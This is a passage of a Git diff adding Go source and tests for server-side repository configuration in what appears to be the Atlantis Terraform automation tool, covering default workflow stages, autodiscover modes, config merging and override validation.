Key: String("import"), + }, + }, + }, + StateRm: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("state_rm"), + }, + }, + }, + }, + exp: valid.Workflow{ + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "policy_check", + }, + }, + }, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "import", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "state_rm", + }, + }, + }, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + c.exp.Name = "name" + Equals(t, c.exp, c.input.ToValid("name")) + }) + } +} diff --git a/server/core/config/valid/autodiscover.go b/server/core/config/valid/autodiscover.go new file mode 100644 index 0000000000..1e78309a54 --- /dev/null +++ b/server/core/config/valid/autodiscover.go @@ -0,0 +1,15 @@ +package valid + +// AutoDiscoverMode enum +type AutoDiscoverMode string + +const ( + AutoDiscoverEnabledMode AutoDiscoverMode = "enabled" + AutoDiscoverDisabledMode AutoDiscoverMode = "disabled" + AutoDiscoverAutoMode AutoDiscoverMode = "auto" +) + +type AutoDiscover struct { + Mode AutoDiscoverMode + IgnorePaths []string +} diff --git a/server/core/config/valid/global_cfg.go b/server/core/config/valid/global_cfg.go new file mode 100644 index 0000000000..48a78f7158 --- /dev/null +++ b/server/core/config/valid/global_cfg.go @@ -0,0 +1,719 @@ +package valid + +import ( + "fmt" + "regexp" + "strings" + + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/utils" +) + +const MergeableCommandReq = "mergeable" +const ApprovedCommandReq = "approved" +const UnDivergedCommandReq = "undiverged" +const PoliciesPassedCommandReq = "policies_passed" +const PlanRequirementsKey = "plan_requirements" +const ApplyRequirementsKey = "apply_requirements" +const ImportRequirementsKey = "import_requirements" +const WorkflowKey = "workflow" +const AllowedOverridesKey = "allowed_overrides" +const AllowCustomWorkflowsKey = "allow_custom_workflows" +const DefaultWorkflowName = "default" +const DeleteSourceBranchOnMergeKey = "delete_source_branch_on_merge" +const RepoLockingKey = "repo_locking" +const RepoLocksKey = "repo_locks" +const PolicyCheckKey = "policy_check" +const CustomPolicyCheckKey = "custom_policy_check" +const AutoDiscoverKey = "autodiscover" +const SilencePRCommentsKey = "silence_pr_comments" + +var AllowedSilencePRComments = []string{"plan", "apply"} + +// DefaultAtlantisFile is the default name of the config file for each repo. +const DefaultAtlantisFile = "atlantis.yaml" + +// NonOverridableApplyReqs will get applied across all "repos" in the server side config. +// If repo config is allowed overrides, they can override this. +// TODO: Make this more customizable, not everyone wants this rigid workflow +// maybe something along the lines of defining overridable/non-overridable apply +// requirements in the config and removing the flag to enable policy checking. +var NonOverridableApplyReqs = []string{PoliciesPassedCommandReq} + +// GlobalCfg is the final parsed version of server-side repo config. +type GlobalCfg struct { + Repos []Repo + Workflows map[string]Workflow + PolicySets PolicySets + Metrics Metrics + TeamAuthz TeamAuthz +} + +type Metrics struct { + Statsd *Statsd + Prometheus *Prometheus +} + +type Statsd struct { + Port string + Host string +} + +type Prometheus struct { + Endpoint string +} + +// Repo is the final parsed version of server-side repo config. +type Repo struct { + // ID is the exact match id of this config. + // If IDRegex is set then this will be empty. + ID string + // IDRegex is the regex match for this config. + // If ID is set then this will be nil. + IDRegex *regexp.Regexp + BranchRegex *regexp.Regexp + RepoConfigFile string + PlanRequirements []string + ApplyRequirements []string + ImportRequirements []string + PreWorkflowHooks []*WorkflowHook + Workflow *Workflow + PostWorkflowHooks []*WorkflowHook + AllowedWorkflows []string + AllowedOverrides []string + AllowCustomWorkflows *bool + DeleteSourceBranchOnMerge *bool + RepoLocking *bool + RepoLocks *RepoLocks + PolicyCheck *bool + CustomPolicyCheck *bool + AutoDiscover *AutoDiscover + SilencePRComments []string +} + +type MergedProjectCfg struct { + PlanRequirements []string + ApplyRequirements []string + ImportRequirements []string + Workflow Workflow + AllowedWorkflows []string + DependsOn []string + RepoRelDir string + Workspace string + Name string + AutoplanEnabled bool + AutoMergeDisabled bool + AutoMergeMethod string + TerraformDistribution *string + TerraformVersion *version.Version + RepoCfgVersion int + PolicySets PolicySets + DeleteSourceBranchOnMerge bool + ExecutionOrderGroup int + RepoLocks RepoLocks + PolicyCheck bool + CustomPolicyCheck bool + SilencePRComments []string +} + +// WorkflowHook is a map of custom run commands to run before or after workflows. +type WorkflowHook struct { + StepName string + RunCommand string + StepDescription string + Shell string + ShellArgs string + Commands string +} + +// DefaultApplyStage is the Atlantis default apply stage. +var DefaultApplyStage = Stage{ + Steps: []Step{ + { + StepName: "apply", + }, + }, +} + +// DefaultPolicyCheckStage is the Atlantis default policy check stage. +var DefaultPolicyCheckStage = Stage{ + Steps: []Step{ + { + StepName: "show", + }, + { + StepName: "policy_check", + }, + }, +} + +// DefaultPlanStage is the Atlantis default plan stage. +var DefaultPlanStage = Stage{ + Steps: []Step{ + { + StepName: "init", + }, + { + StepName: "plan", + }, + }, +} + +// DefaultImportStage is the Atlantis default import stage. +var DefaultImportStage = Stage{ + Steps: []Step{ + { + StepName: "init", + }, + { + StepName: "import", + }, + }, +} + +// DefaultStateRmStage is the Atlantis default state_rm stage. +var DefaultStateRmStage = Stage{ + Steps: []Step{ + { + StepName: "init", + }, + { + StepName: "state_rm", + }, + }, +} + +type GlobalCfgArgs struct { + RepoConfigFile string + // No longer a user option as of https://github.com/runatlantis/atlantis/pull/3911, + // but useful for tests to set to true to not require enumeration of allowed settings + // on the repo side + AllowAllRepoSettings bool + PolicyCheckEnabled bool + PreWorkflowHooks []*WorkflowHook + PostWorkflowHooks []*WorkflowHook +} + +func NewGlobalCfgFromArgs(args GlobalCfgArgs) GlobalCfg { + defaultWorkflow := Workflow{ + Name: DefaultWorkflowName, + Apply: DefaultApplyStage, + Plan: DefaultPlanStage, + PolicyCheck: DefaultPolicyCheckStage, + Import: DefaultImportStage, + StateRm: DefaultStateRmStage, + } + // Must construct slices here instead of using a `var` declaration because + // we treat nil slices differently. + commandReqs := []string{} + allowedOverrides := []string{} + allowedWorkflows := []string{} + policyCheck := false + if args.PolicyCheckEnabled { + commandReqs = append(commandReqs, PoliciesPassedCommandReq) + policyCheck = true + } + + allowCustomWorkflows := false + deleteSourceBranchOnMerge := false + repoLocks := DefaultRepoLocks + customPolicyCheck := false + autoDiscover := AutoDiscover{Mode: AutoDiscoverAutoMode} + var silencePRComments []string + if args.AllowAllRepoSettings { + allowedOverrides = []string{PlanRequirementsKey, ApplyRequirementsKey, ImportRequirementsKey, WorkflowKey, DeleteSourceBranchOnMergeKey, RepoLockingKey, RepoLocksKey, PolicyCheckKey, SilencePRCommentsKey} + allowCustomWorkflows = true + } + + return GlobalCfg{ + Repos: []Repo{ + { + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + RepoConfigFile: args.RepoConfigFile, + PlanRequirements: commandReqs, + ApplyRequirements: commandReqs, + ImportRequirements: commandReqs, + PreWorkflowHooks: args.PreWorkflowHooks, + Workflow: &defaultWorkflow, + PostWorkflowHooks: args.PostWorkflowHooks, + AllowedWorkflows: allowedWorkflows, + AllowedOverrides: allowedOverrides, + AllowCustomWorkflows: &allowCustomWorkflows, + DeleteSourceBranchOnMerge: &deleteSourceBranchOnMerge, + RepoLocks: &repoLocks, + PolicyCheck: &policyCheck, + CustomPolicyCheck: &customPolicyCheck, + AutoDiscover: &autoDiscover, + SilencePRComments: silencePRComments, + }, + }, + Workflows: map[string]Workflow{ + DefaultWorkflowName: defaultWorkflow, + }, + TeamAuthz: TeamAuthz{ + Args: make([]string, 0), + }, + } +} + +// IDMatches returns true if the repo ID otherID matches this config. +func (r Repo) IDMatches(otherID string) bool { + if r.ID != "" { + return r.ID == otherID + } + return r.IDRegex.MatchString(otherID) +} + +// BranchMatches returns true if the branch other matches a branch regex (if preset). +func (r Repo) BranchMatches(other string) bool { + if r.BranchRegex == nil { + return true + } + return r.BranchRegex.MatchString(other) +} + +// IDString returns a string representation of this config. +func (r Repo) IDString() string { + if r.ID != "" { + return r.ID + } + return "/" + r.IDRegex.String() + "/" +} + +// MergeProjectCfg merges proj and rCfg with the global config to return a +// final config. It assumes that all configs have been validated. +func (g GlobalCfg) MergeProjectCfg(log logging.SimpleLogging, repoID string, proj Project, rCfg RepoCfg) MergedProjectCfg { + log.Debug("MergeProjectCfg started") + planReqs, applyReqs, importReqs, workflow, allowedOverrides, allowCustomWorkflows, deleteSourceBranchOnMerge, repoLocks, policyCheck, customPolicyCheck, _, silencePRComments := g.getMatchingCfg(log, repoID) + // If repos are allowed to override certain keys then override them. + for _, key := range allowedOverrides { + switch key { + case PlanRequirementsKey: + if proj.PlanRequirements != nil { + log.Debug("overriding server-defined %s with repo settings: [%s]", PlanRequirementsKey, strings.Join(proj.PlanRequirements, ",")) + planReqs = proj.PlanRequirements + } + case ApplyRequirementsKey: + if proj.ApplyRequirements != nil { + log.Debug("overriding server-defined %s with repo settings: [%s]", ApplyRequirementsKey, strings.Join(proj.ApplyRequirements, ",")) + applyReqs = proj.ApplyRequirements + + // Preserve policies_passed req if policy check is enabled + if policyCheck { + applyReqs = append(applyReqs, PoliciesPassedCommandReq) + } + } + case ImportRequirementsKey: + if proj.ImportRequirements != nil { + log.Debug("overriding server-defined %s with repo settings: [%s]", ImportRequirementsKey, strings.Join(proj.ImportRequirements, ",")) + importReqs = proj.ImportRequirements + } + case WorkflowKey: + if proj.WorkflowName != nil { + // We iterate over the global workflows first and the repo + // workflows second so that repo workflows override. This is + // safe because at this point we know if a repo is allowed to + // define its own workflow. We also know that a workflow will + // exist with this name due to earlier validation. + name := *proj.WorkflowName + for k, v := range g.Workflows { + if k == name { + workflow = v + } + } + if allowCustomWorkflows { + for k, v := range rCfg.Workflows { + if k == name { + workflow = v + } + } + } + log.Debug("overriding server-defined %s with repo-specified workflow: %q", WorkflowKey, workflow.Name) + } + case DeleteSourceBranchOnMergeKey: + //We check whether the server configured value and repo-root level + //config is different. If it is then we change to the more granular. + if rCfg.DeleteSourceBranchOnMerge != nil && deleteSourceBranchOnMerge != *rCfg.DeleteSourceBranchOnMerge { + log.Debug("overriding server-defined %s with repo settings: [%t]", DeleteSourceBranchOnMergeKey, rCfg.DeleteSourceBranchOnMerge) + deleteSourceBranchOnMerge = *rCfg.DeleteSourceBranchOnMerge + } + //Then we check whether the more granular project based config is + //different. If it is then we set it. + if proj.DeleteSourceBranchOnMerge != nil && deleteSourceBranchOnMerge != *proj.DeleteSourceBranchOnMerge { + log.Debug("overriding repo-root-defined %s with repo settings: [%t]", DeleteSourceBranchOnMergeKey, *proj.DeleteSourceBranchOnMerge) + deleteSourceBranchOnMerge = *proj.DeleteSourceBranchOnMerge + } + log.Debug("merged deleteSourceBranchOnMerge: [%t]", deleteSourceBranchOnMerge) + case RepoLockingKey: + if proj.RepoLocking != nil { + log.Debug("overriding server-defined %s with repo settings: [%t]", RepoLockingKey, *proj.RepoLocking) + if *proj.RepoLocking && repoLocks.Mode == RepoLocksDisabledMode { + repoLocks.Mode = DefaultRepoLocksMode + } else if !*proj.RepoLocking { + repoLocks.Mode = RepoLocksDisabledMode + } + } + case RepoLocksKey: + //We check whether the server configured value and repo-root level + //config is different. If it is then we change to the more granular. + if rCfg.RepoLocks != nil && repoLocks.Mode != rCfg.RepoLocks.Mode { + log.Debug("overriding server-defined %s with repo settings: [%#v]", RepoLocksKey, rCfg.RepoLocks) + repoLocks = *rCfg.RepoLocks + } + //Then we check whether the more granular project based config is + //different. If it is then we set it. + if proj.RepoLocks != nil && repoLocks.Mode != proj.RepoLocks.Mode { + log.Debug("overriding repo-root-defined %s with repo settings: [%#v]", RepoLocksKey, *proj.RepoLocks) + repoLocks = *proj.RepoLocks + } + log.Debug("merged repoLocks: [%#v]", repoLocks) + case PolicyCheckKey: + if proj.PolicyCheck != nil { + log.Debug("overriding server-defined %s with repo settings: [%t]", PolicyCheckKey, *proj.PolicyCheck) + policyCheck = *proj.PolicyCheck + } + case CustomPolicyCheckKey: + if proj.CustomPolicyCheck != nil { + log.Debug("overriding server-defined %s with repo settings: [%t]", CustomPolicyCheckKey, *proj.CustomPolicyCheck) + customPolicyCheck = *proj.CustomPolicyCheck + } + case SilencePRCommentsKey: + if proj.SilencePRComments != nil { + log.Debug("overriding repo-root-defined %s with repo settings: [%t]", SilencePRCommentsKey, strings.Join(proj.SilencePRComments, ",")) + silencePRComments = proj.SilencePRComments + } else if rCfg.SilencePRComments != nil { + log.Debug("overriding server-defined %s with repo settings: [%s]", SilencePRCommentsKey, strings.Join(rCfg.SilencePRComments, ",")) + silencePRComments = rCfg.SilencePRComments + } + } + log.Debug("MergeProjectCfg completed") + } + + log.Debug("final settings: %s: [%s], %s: [%s], %s: [%s], %s: %s, %s: %t, %s: %s, %s: %t, %s: %t, %s: [%s]", + PlanRequirementsKey, strings.Join(planReqs, ","), + ApplyRequirementsKey, strings.Join(applyReqs, ","), + ImportRequirementsKey, strings.Join(importReqs, ","), + WorkflowKey, workflow.Name, + DeleteSourceBranchOnMergeKey, deleteSourceBranchOnMerge, + RepoLockingKey, repoLocks.Mode, + PolicyCheckKey, policyCheck, + CustomPolicyCheckKey, policyCheck, + SilencePRCommentsKey, strings.Join(silencePRComments, ","), + ) + + return MergedProjectCfg{ + PlanRequirements: planReqs, + ApplyRequirements: applyReqs, + ImportRequirements: importReqs, + Workflow: workflow, + RepoRelDir: proj.Dir, + Workspace: proj.Workspace, + DependsOn: proj.DependsOn, + Name: proj.GetName(), + AutoplanEnabled: proj.Autoplan.Enabled, + TerraformDistribution: proj.TerraformDistribution, + TerraformVersion: proj.TerraformVersion, + RepoCfgVersion: rCfg.Version, + PolicySets: g.PolicySets, + DeleteSourceBranchOnMerge: deleteSourceBranchOnMerge, + ExecutionOrderGroup: proj.ExecutionOrderGroup, + RepoLocks: repoLocks, + PolicyCheck: policyCheck, + CustomPolicyCheck: customPolicyCheck, + SilencePRComments: silencePRComments, + } +} + +// DefaultProjCfg returns the default project config for all projects under the +// repo with id repoID. It is used when there is no repo config. +func (g GlobalCfg) DefaultProjCfg(log logging.SimpleLogging, repoID string, repoRelDir string, workspace string) MergedProjectCfg { + log.Debug("building config based on server-side config") + planReqs, applyReqs, importReqs, workflow, _, _, deleteSourceBranchOnMerge, repoLocks, policyCheck, customPolicyCheck, _, silencePRComments := g.getMatchingCfg(log, repoID) + return MergedProjectCfg{ + PlanRequirements: planReqs, + ApplyRequirements: applyReqs, + ImportRequirements: importReqs, + Workflow: workflow, + RepoRelDir: repoRelDir, + Workspace: workspace, + Name: "", + AutoplanEnabled: DefaultAutoPlanEnabled, + TerraformDistribution: nil, + TerraformVersion: nil, + PolicySets: g.PolicySets, + DeleteSourceBranchOnMerge: deleteSourceBranchOnMerge, + RepoLocks: repoLocks, + PolicyCheck: policyCheck, + CustomPolicyCheck: customPolicyCheck, + SilencePRComments: silencePRComments, + } +} + +// RepoAutoDiscoverCfg returns the AutoDiscover config from the global config +// for the repo with id repoID. If no matching repo is found or there is no +// AutoDiscover config then this function returns nil. +func (g GlobalCfg) RepoAutoDiscoverCfg(repoID string) *AutoDiscover { + repo := g.MatchingRepo(repoID) + if repo != nil { + return repo.AutoDiscover + } + return nil +} + +// ValidateRepoCfg validates that rCfg for repo with id repoID is valid based +// on our global config. +func (g GlobalCfg) ValidateRepoCfg(rCfg RepoCfg, repoID string) error { + mapContainsF := func(m map[string]Workflow, key string) bool { + for k := range m { + if k == key { + return true + } + } + return false + } + + // Check allowed overrides. + var allowedOverrides []string + for _, repo := range g.Repos { + if repo.IDMatches(repoID) { + if repo.AllowedOverrides != nil { + allowedOverrides = repo.AllowedOverrides + } + } + } + for _, p := range rCfg.Projects { + if p.WorkflowName != nil && !utils.SlicesContains(allowedOverrides, WorkflowKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", WorkflowKey, AllowedOverridesKey, WorkflowKey) + } + if p.ApplyRequirements != nil && !utils.SlicesContains(allowedOverrides, ApplyRequirementsKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", ApplyRequirementsKey, AllowedOverridesKey, ApplyRequirementsKey) + } + if p.PlanRequirements != nil && !utils.SlicesContains(allowedOverrides, PlanRequirementsKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", PlanRequirementsKey, AllowedOverridesKey, PlanRequirementsKey) + } + if p.ImportRequirements != nil && !utils.SlicesContains(allowedOverrides, ImportRequirementsKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", ImportRequirementsKey, AllowedOverridesKey, ImportRequirementsKey) + } + if p.DeleteSourceBranchOnMerge != nil && !utils.SlicesContains(allowedOverrides, DeleteSourceBranchOnMergeKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", DeleteSourceBranchOnMergeKey, AllowedOverridesKey, DeleteSourceBranchOnMergeKey) + } + if p.RepoLocking != nil && !utils.SlicesContains(allowedOverrides, RepoLockingKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", RepoLockingKey, AllowedOverridesKey, RepoLockingKey) + } + if p.RepoLocks != nil && !utils.SlicesContains(allowedOverrides, RepoLocksKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", RepoLocksKey, AllowedOverridesKey, RepoLocksKey) + } + if p.CustomPolicyCheck != nil && !utils.SlicesContains(allowedOverrides, CustomPolicyCheckKey) { + return fmt.Errorf("repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", CustomPolicyCheckKey, AllowedOverridesKey, CustomPolicyCheckKey) + } + if p.SilencePRComments != nil { + if !utils.SlicesContains(allowedOverrides, SilencePRCommentsKey) { + return fmt.Errorf( + "repo config not allowed to set '%s' key: server-side config needs '%s: [%s]'", + SilencePRCommentsKey, + AllowedOverridesKey, + SilencePRCommentsKey, + ) + } + for _, silenceStage := range p.SilencePRComments { + if !utils.SlicesContains(AllowedSilencePRComments, silenceStage) { + return fmt.Errorf( + "repo config '%s' key value of '%s' is not supported, supported values are [%s]", + SilencePRCommentsKey, + silenceStage, + strings.Join(AllowedSilencePRComments, ", "), + ) + } + } + } + } + + // Check custom workflows. + var allowCustomWorkflows bool + for _, repo := range g.Repos { + if repo.IDMatches(repoID) { + if repo.AllowCustomWorkflows != nil { + allowCustomWorkflows = *repo.AllowCustomWorkflows + } + } + } + + if len(rCfg.Workflows) > 0 && !allowCustomWorkflows { + return fmt.Errorf("repo config not allowed to define custom workflows: server-side config needs '%s: true'", AllowCustomWorkflowsKey) + } + + // Check if the repo has set a workflow name that doesn't exist. + for _, p := range rCfg.Projects { + if p.WorkflowName != nil { + name := *p.WorkflowName + if !mapContainsF(rCfg.Workflows, name) && !mapContainsF(g.Workflows, name) { + return fmt.Errorf("workflow %q is not defined anywhere", name) + } + } + } + + // Check workflow is allowed + var allowedWorkflows []string + for _, repo := range g.Repos { + if repo.IDMatches(repoID) { + + if repo.AllowedWorkflows != nil { + allowedWorkflows = repo.AllowedWorkflows + } + } + } + + for _, p := range rCfg.Projects { + // default is always allowed + if p.WorkflowName != nil && len(allowedWorkflows) != 0 { + name := *p.WorkflowName + if allowCustomWorkflows { + // If we allow CustomWorkflows we need to check that workflow name is defined inside repo and not global. + if mapContainsF(rCfg.Workflows, name) { + break + } + } + + if !utils.SlicesContains(allowedWorkflows, name) { + return fmt.Errorf("workflow '%s' is not allowed for this repo", name) + } + } + } + + return nil +} + +// getMatchingCfg returns the key settings for repoID. +func (g GlobalCfg) getMatchingCfg(log logging.SimpleLogging, repoID string) (planReqs []string, applyReqs []string, importReqs []string, workflow Workflow, allowedOverrides []string, allowCustomWorkflows bool, deleteSourceBranchOnMerge bool, repoLocks RepoLocks, policyCheck bool, customPolicyCheck bool, autoDiscover AutoDiscover, silencePRComments []string) { + toLog := make(map[string]string) + traceF := func(repoIdx int, repoID string, key string, val interface{}) string { + from := "default server config" + if repoIdx > 0 { + from = fmt.Sprintf("repos[%d], id: %s", repoIdx, repoID) + } + var valStr string + switch v := val.(type) { + case string: + valStr = fmt.Sprintf("%q", v) + case []string: + valStr = fmt.Sprintf("[%s]", strings.Join(v, ",")) + case bool: + valStr = fmt.Sprintf("%t", v) + default: + valStr = "this is a bug" + } + + return fmt.Sprintf("setting %s: %s from %s", key, valStr, from) + } + + // Can't use raw.DefaultAutoDiscoverMode() because of an import cycle. Should refactor to avoid that. + autoDiscover = AutoDiscover{Mode: AutoDiscoverAutoMode} + repoLocking := true + repoLocks = DefaultRepoLocks + + for _, key := range []string{PlanRequirementsKey, ApplyRequirementsKey, ImportRequirementsKey, WorkflowKey, AllowedOverridesKey, AllowCustomWorkflowsKey, DeleteSourceBranchOnMergeKey, RepoLockingKey, RepoLocksKey, PolicyCheckKey, CustomPolicyCheckKey, SilencePRCommentsKey} { + for i, repo := range g.Repos { + if repo.IDMatches(repoID) { + switch key { + case PlanRequirementsKey: + if repo.PlanRequirements != nil { + toLog[PlanRequirementsKey] = traceF(i, repo.IDString(), PlanRequirementsKey, repo.PlanRequirements) + planReqs = repo.PlanRequirements + } + case ApplyRequirementsKey: + if repo.ApplyRequirements != nil { + toLog[ApplyRequirementsKey] = traceF(i, repo.IDString(), ApplyRequirementsKey, repo.ApplyRequirements) + applyReqs = repo.ApplyRequirements + } + case ImportRequirementsKey: + if repo.ImportRequirements != nil { + toLog[ImportRequirementsKey] = traceF(i, repo.IDString(), ImportRequirementsKey, repo.ImportRequirements) + importReqs = repo.ImportRequirements + } + case WorkflowKey: + if repo.Workflow != nil { + toLog[WorkflowKey] = traceF(i, repo.IDString(), WorkflowKey, repo.Workflow.Name) + workflow = *repo.Workflow + } + case AllowedOverridesKey: + if repo.AllowedOverrides != nil { + toLog[AllowedOverridesKey] = traceF(i, repo.IDString(), AllowedOverridesKey, repo.AllowedOverrides) + allowedOverrides = repo.AllowedOverrides + } + case AllowCustomWorkflowsKey: + if repo.AllowCustomWorkflows != nil { + toLog[AllowCustomWorkflowsKey] = traceF(i, repo.IDString(), AllowCustomWorkflowsKey, *repo.AllowCustomWorkflows) + allowCustomWorkflows = *repo.AllowCustomWorkflows + } + case DeleteSourceBranchOnMergeKey: + if repo.DeleteSourceBranchOnMerge != nil { + toLog[DeleteSourceBranchOnMergeKey] = traceF(i, repo.IDString(), DeleteSourceBranchOnMergeKey, *repo.DeleteSourceBranchOnMerge) + deleteSourceBranchOnMerge = *repo.DeleteSourceBranchOnMerge + } + case RepoLockingKey: + if repo.RepoLocking != nil { + toLog[RepoLockingKey] = traceF(i, repo.IDString(), RepoLockingKey, *repo.RepoLocking) + repoLocking = *repo.RepoLocking + } + case RepoLocksKey: + if repo.RepoLocks != nil { + toLog[RepoLocksKey] = traceF(i, repo.IDString(), RepoLocksKey, repo.RepoLocks.Mode) + repoLocks = *repo.RepoLocks + } + case PolicyCheckKey: + if repo.PolicyCheck != nil { + toLog[PolicyCheckKey] = traceF(i, repo.IDString(), PolicyCheckKey, *repo.PolicyCheck) + policyCheck = *repo.PolicyCheck + } + case CustomPolicyCheckKey: + if repo.CustomPolicyCheck != nil { + toLog[CustomPolicyCheckKey] = traceF(i, repo.IDString(), CustomPolicyCheckKey, *repo.CustomPolicyCheck) + customPolicyCheck = *repo.CustomPolicyCheck + } + case AutoDiscoverKey: + if repo.AutoDiscover != nil { + toLog[AutoDiscoverKey] = traceF(i, repo.IDString(), AutoDiscoverKey, repo.AutoDiscover.Mode) + autoDiscover = *repo.AutoDiscover + } + case SilencePRCommentsKey: + if repo.SilencePRComments != nil { + toLog[SilencePRCommentsKey] = traceF(i, repo.IDString(), SilencePRCommentsKey, repo.SilencePRComments) + silencePRComments = repo.SilencePRComments + } + } + } + } + } + for _, l := range toLog { + log.Debug(l) + } + // repoLocking is deprecated and enabled by default, disable repo locks if it is explicitly disabled + if !repoLocking { + repoLocks.Mode = RepoLocksDisabledMode + } + return +} + +// MatchingRepo returns an instance of Repo which matches a given repoID. +// If multiple repos match, return the last one for consistency with getMatchingCfg. +func (g GlobalCfg) MatchingRepo(repoID string) *Repo { + for i := len(g.Repos) - 1; i >= 0; i-- { + repo := g.Repos[i] + if repo.IDMatches(repoID) { + return &repo + } + } + return nil +} + +// RepoConfigFile returns a repository specific file path +// If not defined, return atlantis.yaml as default +func (g GlobalCfg) RepoConfigFile(repoID string) string { + repo := g.MatchingRepo(repoID) + if repo != nil && repo.RepoConfigFile != "" { + return repo.RepoConfigFile + } + return DefaultAtlantisFile +} diff --git a/server/core/config/valid/global_cfg_test.go b/server/core/config/valid/global_cfg_test.go new file mode 100644 index 0000000000..05fbc462f0 --- /dev/null +++ b/server/core/config/valid/global_cfg_test.go @@ -0,0 +1,1405 @@ +package valid_test + +import ( + "fmt" + "os" + "path/filepath" + "regexp" + "testing" + + "github.com/hashicorp/go-version" + "github.com/mohae/deepcopy" + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestNewGlobalCfg(t *testing.T) { + expDefaultWorkflow := valid.Workflow{ + Name: "default", + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "apply", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "show", + }, + { + StepName: "policy_check", + }, + }, + }, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + { + StepName: "plan", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + { + StepName: "import", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + { + StepName: "state_rm", + }, + }, + }, + } + baseCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + PlanRequirements: []string{}, + ApplyRequirements: []string{}, + ImportRequirements: []string{}, + Workflow: &expDefaultWorkflow, + AllowedWorkflows: []string{}, + AllowedOverrides: []string{}, + AllowCustomWorkflows: Bool(false), + DeleteSourceBranchOnMerge: Bool(false), + RepoLocks: &valid.DefaultRepoLocks, + PolicyCheck: Bool(false), + CustomPolicyCheck: Bool(false), + AutoDiscover: raw.DefaultAutoDiscover(), + }, + }, + Workflows: map[string]valid.Workflow{ + "default": expDefaultWorkflow, + }, + TeamAuthz: valid.TeamAuthz{ + Args: make([]string, 0), + }, + } + + cases := []struct { + allowAllRepoSettings bool + policyCheckEnabled bool + }{ + { + allowAllRepoSettings: false, + policyCheckEnabled: false, + }, + { + allowAllRepoSettings: true, + policyCheckEnabled: false, + }, + { + allowAllRepoSettings: true, + policyCheckEnabled: true, + }, + { + allowAllRepoSettings: false, + policyCheckEnabled: true, + }, + } + + for _, c := range cases { + caseName := fmt.Sprintf("allow_repo: %t, policy_check: %t", c.allowAllRepoSettings, c.policyCheckEnabled) + t.Run(caseName, func(t *testing.T) { + globalCfgArgs := valid.GlobalCfgArgs{ + AllowAllRepoSettings: c.allowAllRepoSettings, + PolicyCheckEnabled: c.policyCheckEnabled, + } + act := valid.NewGlobalCfgFromArgs(globalCfgArgs) + + // For each test, we change our expected cfg based on the parameters. + exp := deepcopy.Copy(baseCfg).(valid.GlobalCfg) + exp.Repos[0].IDRegex = regexp.MustCompile(".*") // deepcopy doesn't copy the regex. + exp.Repos[0].BranchRegex = regexp.MustCompile(".*") + + if c.allowAllRepoSettings { + exp.Repos[0].AllowCustomWorkflows = Bool(true) + exp.Repos[0].AllowedOverrides = []string{"plan_requirements", "apply_requirements", "import_requirements", "workflow", "delete_source_branch_on_merge", "repo_locking", "repo_locks", "policy_check", "silence_pr_comments"} + } + if c.policyCheckEnabled { + exp.Repos[0].PlanRequirements = append(exp.Repos[0].PlanRequirements, "policies_passed") + exp.Repos[0].ApplyRequirements = append(exp.Repos[0].ApplyRequirements, "policies_passed") + exp.Repos[0].ImportRequirements = append(exp.Repos[0].ImportRequirements, "policies_passed") + exp.Repos[0].PolicyCheck = Bool(true) + } + + Equals(t, exp, act) + + // Have to hand-compare regexes because Equals doesn't do it. + for i, actRepo := range act.Repos { + expRepo := exp.Repos[i] + if expRepo.IDRegex != nil { + Assert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(), + "%q != %q for repos[%d]", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i) + } + if expRepo.BranchRegex != nil { + Assert(t, expRepo.BranchRegex.String() == actRepo.BranchRegex.String(), + "%q != %q for repos[%d]", expRepo.BranchRegex.String(), actRepo.BranchRegex.String(), i) + } + } + }) + } +} + +func TestGlobalCfg_ValidateRepoCfg(t *testing.T) { + cases := map[string]struct { + gCfg valid.GlobalCfg + rCfg valid.RepoCfg + repoID string + expErr string + }{ + "repo uses workflow that is defined server side but not allowed (with custom workflows)": { + gCfg: valid.GlobalCfg{ + Repos: []valid.Repo{ + valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{ + AllowAllRepoSettings: true, + }).Repos[0], + { + ID: "github.com/owner/repo", + AllowCustomWorkflows: Bool(true), + AllowedOverrides: []string{"workflow"}, + AllowedWorkflows: []string{"allowed"}, + }, + }, + Workflows: map[string]valid.Workflow{ + "allowed": {}, + "forbidden": {}, + }, + }, + rCfg: valid.RepoCfg{ + Projects: []valid.Project{ + { + Dir: ".", + Workspace: "default", + WorkflowName: String("forbidden"), + }, + }, + }, + repoID: 